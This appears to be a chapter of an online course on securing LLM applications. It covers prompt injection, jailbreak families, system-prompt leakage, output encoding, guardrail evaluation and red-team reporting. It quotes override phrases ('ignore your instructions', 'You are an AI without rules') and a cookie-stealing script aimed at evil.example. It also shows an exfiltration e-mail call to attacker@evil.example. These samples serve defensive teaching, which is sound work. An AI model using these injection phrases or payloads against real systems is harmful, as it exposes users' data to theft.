Search GimmeJob

Type at least 2 characters. Enter also searches by meaning.
GimmeJob
Sign in
Generative AI & LLM · Chapter 17 / 20

Generative AI & LLM

Security, red teaming and guardrails

An LLM application receives its instructions and its data through the same channel: text. A customer message, a retrieved document, a product review, an e-mail or a tool result can all contain sentences that try to steer the model, and no model separates instructions from data reliably. Every input an attacker can influence is therefore an attack surface.

Security testing of LLM applications combines three things: classic application security (authorization, injection, output encoding, rate limits), attacks specific to models (prompt injection, jailbreaks, data leakage), and responsible-AI risks (harmful content, bias). One principle runs through this chapter: assume that the model can be manipulated, and test that the system around it still prevents harm.

Prerequisites: LLM application anatomy and APIs, Evaluating RAG systems, Evaluating agents and tool use.

The threat model

Start with what an attacker could want and how they could get it:

  • Assets: customer data, internal documents, secrets and credentials, tools that move money or send messages, the brand.
  • Entry points: chat messages, uploaded files, retrieved documents, web pages, e-mails, tool results, and the outputs of other models.
  • Goals: stealing data, triggering actions the user did not want, producing harmful or embarrassing content, and running up costs.

The OWASP Top 10 for LLM Applications (2025 edition) is a practical checklist of risks:

IDRiskExample in a support assistantMain test
LLM01Prompt injectionA review in the retrieved context tells the model to e-mail the conversation to an attackerInjection corpus with direct and indirect payloads
LLM02Sensitive information disclosureThe assistant reveals another customer's orderCross-tenant queries; canary data
LLM03Supply chainA compromised model, dataset or pluginProvenance and version pinning of models and packages
LLM04Data and model poisoningPlanted documents change answersIntegrity checks on ingested content
LLM05Improper output handlingModel output rendered as HTML runs a scriptOutput encoding tests with attack payloads
LLM06Excessive agencyThe agent can refund any order without approvalPermission and approval-gate tests
LLM07System prompt leakageRules or secrets in the system prompt are extractedCanary tokens; no secrets in prompts
LLM08Vector and embedding weaknessesRetrieval returns another tenant's documentsAccess filters in retrieval queries
LLM09MisinformationA confident, wrong policy statementFaithfulness and fact checks
LLM10Unbounded consumptionHuge inputs or agent loops run up costsInput limits, output caps, budgets and rate limits

MITRE ATLAS catalogues adversary tactics against AI systems in the style of ATT&CK, and the NIST Generative AI Profile (AI 600-1) frames these risks for risk management. Use them to make the threat model complete; use tests to make it true.

Prompt injection

Direct injection comes from the user ("ignore your instructions and..."). Indirect injection hides in content the application retrieves on the user's behalf: a review, a web page, an e-mail, a document. Indirect injection is the more dangerous kind, because the user did nothing wrong and may never see the attack.

Simon Willison named the combination that turns injection into theft the lethal trifecta: an agent that has access to private data, is exposed to untrusted content, and can communicate externally. Any two of the three are manageable; all three together let an injected instruction send private data to the attacker.

No filter or prompt wording makes a model immune. Defences therefore come in layers, most of them outside the model:

  • Least privilege: tools only for what the request needs, scoped to the current user (Evaluating agents and tool use).
  • No exfiltration channels: no automatically loaded images, no links to unknown hosts, no outgoing messages to addresses the user did not provide.
  • Marked untrusted content: delimiting and labelling retrieved text (spotlighting) reduces, but does not remove, the effect of injected instructions.
  • Trained priorities: models trained with an instruction hierarchy give system instructions precedence over instructions found in data.
  • Constrained data flow: designs such as CaMeL let a privileged model plan with trusted input only and track where every value came from, so untrusted text can never choose an action or a recipient.
  • Approval by a person before irreversible actions.

The test that matters is whether harm is possible when the model has been fooled. The script uses a stand-in model that obeys an instruction hidden in a retrieved review, and checks the defences around it:

Python
editable · browser sandbox
Result
Run the code to see the result.

Output:

model output contains the canary: True
model asked for: [('send_email', 'attacker@evil.example')]
shown to the customer: Customers say these boots are warm and light. [image removed]
canary reaches the customer or a URL: False
tool calls executed: []

The model leaked the canary into its answer and asked to e-mail the conversation to the attacker, exactly as a successfully injected model would. Neither reached anyone: the renderer removed the image that would have carried the secret to the attacker's server, and the tool gate refused an e-mail to an address the customer never gave. Keep both kinds of evidence. The canary in the raw output is a monitoring signal that an injection got through to the model, and the clean final result is the test that the system held.

Jailbreaks

A jailbreak makes a model produce content its provider or operator does not allow. Common families:

TechniqueIdeaTest material
Role play and personas"You are an AI without rules" or a fictional framePersona prompts from public collections
ObfuscationBase64, other languages, spelling tricks, ciphersThe same requests encoded and translated
Many-shotMany fabricated dialogue examples in a long contextLong prompts with escalating examples
Multi-turn escalationHarmless steps that end in the forbidden request (Crescendo)Scripted conversations, not single prompts
Optimized suffixesAutomatically searched strings that break safety trainingPublished suffixes as regression cases

Measure jailbreak resistance as an attack success rate on a fixed attack set, judged by a validated judge (LLM-as-a-judge); HarmBench standardizes this for research. Always report it together with over-refusal on benign prompts that look risky, because blocking every question about "killing a process" is also a failure. Every successful jailbreak becomes a regression case that is re-run on every model or prompt change.

Leakage of data and system prompts

  • System prompts are not secret. Assume they can be extracted, keep credentials and sensitive logic out of them, and place a unique canary string in them so that any output containing it raises an alert.
  • Cross-tenant leakage comes from retrieval and tools that do not filter by user. Test it with adversarial queries that ask for other customers' data (Evaluating RAG systems).
  • Training-data extraction: models can reproduce memorized training text. It matters most when you fine-tune on private data; test fine-tuned models with prompts that try to elicit records.
  • Logs and traces contain prompts and outputs with personal data. Redact them (Presidio is a common open-source tool), limit retention, and restrict access.

Improper output handling

Model output is untrusted input for whatever consumes it next: a browser, a database, a shell, an e-mail client, another system. Encode it for its destination, as you would any user input:

Python
editable · browser sandbox
Result
Run the code to see the result.

Output:

See <a href="https://shop.example/returns">our returns page</a>.
&lt;script&gt;new Image().src = `https://evil.example/?c=${document.cookie}`&lt;/script&gt;
&lt;img src=x onerror=&quot;alert(1)&quot;&gt;
Click here
Refund form

The script and the event handler arrive as harmless text, and the javascript: link and the look-alike domain lose their links. The same rule applies everywhere: parameterized queries instead of SQL built from model output, argument lists instead of shell strings, allow-lists for file paths and URLs, and schema validation for anything machine-readable (Structured output and validation). The OWASP cheat sheets for these classic injections apply unchanged.

Guardrails and how to test them

Guardrails are classifiers and rules around the model: input filters for attacks and off-topic requests, output filters for harmful content and leaks, and policy models such as Llama Guard. They are useful layers and they are classifiers, so they are evaluated like classifiers: on labelled attacks and benign messages, per category, with both the share of attacks blocked and the share of benign messages blocked.

Python
editable · browser sandbox
Result
Run the code to see the result.

Output:

attack, plain English        blocked
attack, other wording        allowed   <- wrong
attack, Ukrainian            allowed   <- wrong
attack, base64               allowed   <- wrong
attack, spaced letters       allowed   <- wrong
benign, contains a trigger   blocked   <- wrong
benign, normal question      allowed
benign, Ukrainian            allowed
attacks blocked: 1/5, benign messages blocked: 1/3

A list of known phrases stops one attack in five: a rewording, another language, an encoding or hyphens get through, while a customer who really wants to change an earlier instruction is blocked. Guardrails based on models do much better than this toy, but they share its weak spots: other languages, encodings and new phrasings. Test those categories explicitly, measure false blocks on real customer messages, measure latency, and never treat a guardrail as the only defence.

Bias and fairness

LLM features that rank, score or decide about people (CV screening, job matching, support priority) can treat groups differently. The EU AI Act lists AI systems for recruitment and selection among high-risk systems, which brings obligations for testing and documentation.

The most direct test is counterfactual: give the system pairs of inputs that differ only in an attribute that must not matter, such as a name, and compare the outcomes as pairs (Statistics for evaluation):

Python
editable · browser sandbox
Result
Run the code to see the result.

Output:

mean score difference (group B minus group A): +0.61
group A scored lower in 29 of 34 pairs without ties; sign test p = 3.9e-05
shortlist decision changed by the name alone in 5 of 40 CVs

Identical CVs scored lower with two of the names in 29 of 34 informative pairs, far more than chance allows, and the name alone moved five CVs across the shortlist threshold. Run such tests for every attribute that must not matter (names that suggest gender, origin or age, regions, writing style), use pairs so that the CV itself cannot explain the difference, and combine them with outcome metrics per group on real decisions and benchmarks such as BBQ for question answering.

Unbounded consumption

Attackers and bugs can make an LLM feature expensive: very long inputs, prompts that cause very long outputs, agent loops, retries that multiply calls. Test the limits like any other requirement: maximum input size, a cap on output tokens, budgets of steps and tokens per task, timeouts, and per-user rate limits and quotas. Alert on unusual cost per user or per feature, because a cost anomaly is often the first sign of abuse.

Red teaming as a process

Red teaming is structured adversarial testing. It is most useful as a repeatable process:

  1. Scope and threat model: which assets, which entry points, which harms matter for this product.
  2. Attack library: known techniques from public collections plus attacks specific to the product's data and tools.
  3. Automated scanning: tools generate and run many attacks and grade the results.
  4. Manual red teaming: people with domain knowledge try what tools do not think of, especially multi-step attacks against the product's own workflows.
  5. Findings: each with severity, reproduction steps and evidence.
  6. Fixes and regression tests: every confirmed finding becomes a test that runs on every change of model, prompt or tools.
ToolWhat it does
garak (NVIDIA)Scans models and endpoints with probes for injection, leakage, jailbreaks and more
PyRIT (Microsoft)Orchestrates automated, including multi-turn, red-teaming attacks
promptfoo red teamGenerates adversarial test cases for your application and grades them

A finding should be reproducible from its description:

Title         Indirect prompt injection in product reviews exfiltrates the conversation
Severity      High: customer data leaves the system without any user action
Mapping       OWASP LLM01 (prompt injection), LLM05 (improper output handling)
Preconditions A product review with an injected instruction is retrieved for the question
Steps         1. Publish the review below. 2. Ask "Are these boots warm?" as any customer.
Expected      The answer uses the review as information only; nothing leaves the system
Actual        The answer embeds an image whose URL carries the canary to attacker.example
Evidence      Trace ID 7d1c...: retrieved chunk, model output, rendered HTML
Fix           Drop images and unknown-host links when rendering; gate send_email by recipient
Regression    tests/security/test_injection_corpus.py::test_review_image_exfiltration

Example project

The methods of this chapter are implemented and tested in examples/llm-testing/14-security-testing: an assistant pipeline with a model stand-in that obeys injected instructions, a renderer and a tool gate tested against an injection corpus, canary detection that also finds encoded leaks, output encoding tested with attack payloads and property-based tests, guardrail evaluation per attack category, a counterfactual fairness test for a CV scorer, and consumption limits with a fake clock. All tests run offline, without a model or API keys:

uv sync --project examples/llm-testing
uv run --project examples/llm-testing pytest examples/llm-testing/14-security-testing

Common mistakes

  • Relying on the model to resist injection instead of limiting what a fooled model can do.
  • The lethal trifecta in one agent: private data, untrusted content and an outgoing channel together.
  • Secrets in system prompts.
  • Rendering model output as HTML or Markdown without encoding, including automatically loaded images.
  • A keyword guardrail treated as a security boundary, and guardrails measured only on attacks, not on benign messages.
  • Jailbreak tests without over-refusal tests.
  • Fairness checked on averages only, without counterfactual pairs.
  • Red-team findings fixed once and never turned into regression tests.

Summary

  • Instructions and data share one channel in LLM applications; every input an attacker can influence is an attack surface.
  • Build the threat model from assets, entry points and attacker goals; the OWASP Top 10 for LLM Applications is a practical checklist.
  • Defend against prompt injection in layers outside the model, avoid the lethal trifecta, and test that harm is impossible when the model is fooled.
  • Measure jailbreak success rates together with over-refusal, and keep every successful attack as a regression case.
  • Keep secrets out of prompts, detect leaks with canaries, and redact logs.
  • Encode model output for its destination; treat it as untrusted input everywhere.
  • Evaluate guardrails like classifiers per attack category; test fairness with counterfactual pairs; limit consumption; and run red teaming as a repeatable process.

Source registry

22 chapter references
OWASP Top 10 for LLM Applications (2025)

The ten most important security risks of LLM applications, from prompt injection to unbounded consumption.

OWASP Gen AI Security Project · standard
Source ↗
The lethal trifecta for AI agents: private data, untrusted content, and external communication

Why agents that combine private data, untrusted content and external communication can be made to leak data.

Simon Willison · article
Source ↗
Not what you've signed up for: Compromising Real-World LLM-Integrated Applications with Indirect Prompt Injection

Indirect prompt injection through retrieved content, with real-world demonstrations.

Greshake et al. — arXiv / AISec 2023 · paper
Source ↗
Defeating Prompt Injections by Design

CaMeL: separating control flow from untrusted data and tracking capabilities so that injected text cannot choose actions.

Debenedetti et al. — arXiv 2025 · paper
Source ↗
Defending Against Indirect Prompt Injection Attacks With Spotlighting

Marking untrusted input by delimiting, datamarking or encoding to reduce indirect injection.

Hines et al. — arXiv 2024 · paper
Source ↗
The Instruction Hierarchy: Training LLMs to Prioritize Privileged Instructions

Training models to give system instructions precedence over instructions found in user input and data.

Wallace et al. — arXiv 2024 · paper
Source ↗
Universal and Transferable Adversarial Attacks on Aligned Language Models

Automatically optimized adversarial suffixes that transfer between models.

Zou et al. — arXiv 2023 · paper
Source ↗
Many-shot jailbreaking

Jailbreaks with many fabricated dialogue examples in a long context window.

Anthropic · article
Source ↗
Great, Now Write an Article About That: The Crescendo Multi-Turn LLM Jailbreak Attack

Multi-turn escalation from harmless requests to forbidden content.

Russinovich et al. — arXiv 2024 · paper
Source ↗
HarmBench: A Standardized Evaluation Framework for Automated Red Teaming and Robust Refusal

Standardized attack success rates with validated classifiers for red-teaming evaluations.

Mazeika et al. — arXiv / ICML 2024 · paper
Source ↗
XSTest: A Test Suite for Identifying Exaggerated Safety Behaviours in Large Language Models

Test suite for over-refusal: safe prompts that resemble unsafe ones.

Röttger et al. — arXiv / NAACL 2024 · paper
Source ↗
Extracting Training Data from Large Language Models

Models can reproduce memorized training data, including personal information.

Carlini et al. — arXiv / USENIX Security 2021 · paper
Source ↗
Llama Guard: LLM-based Input-Output Safeguard for Human-AI Conversations

A model-based classifier for unsafe inputs and outputs, evaluated like any classifier.

Inan et al. — arXiv 2023 · paper
Source ↗
BBQ: A Hand-Built Bias Benchmark for Question Answering

Measuring social bias in question answering with ambiguous and disambiguated contexts.

Parrish et al. — arXiv / Findings of ACL 2022 · paper
Source ↗
garak, the LLM vulnerability scanner

Probes models and endpoints for injection, leakage, jailbreaks and other weaknesses.

NVIDIA · tool
Source ↗
PyRIT: Python Risk Identification Tool for generative AI

Orchestrates automated and multi-turn red-teaming attacks.

Microsoft · tool
Source ↗
LLM red teaming guide

Generates adversarial test cases for an application and grades the results.

promptfoo · tool
Source ↗
MITRE ATLAS

A knowledge base of adversary tactics and techniques against AI systems.

MITRE · standard
Source ↗
Artificial Intelligence Risk Management Framework: Generative Artificial Intelligence Profile (NIST AI 600-1)

Risks of generative AI and suggested actions for managing them.

NIST · standard
Source ↗
Presidio

Detection and anonymization of personal data in text, for example in logs and traces.

Data Privacy Stack (originally Microsoft) · tool
Source ↗
Cross Site Scripting Prevention Cheat Sheet

Output encoding rules that apply unchanged to model output rendered in a browser.

OWASP Cheat Sheet Series · official docs
Source ↗
Regulation (EU) 2024/1689 (Artificial Intelligence Act)

Annex III lists AI systems for recruitment and selection, including filtering applications and evaluating candidates, as high-risk.

European Union · standard
Source ↗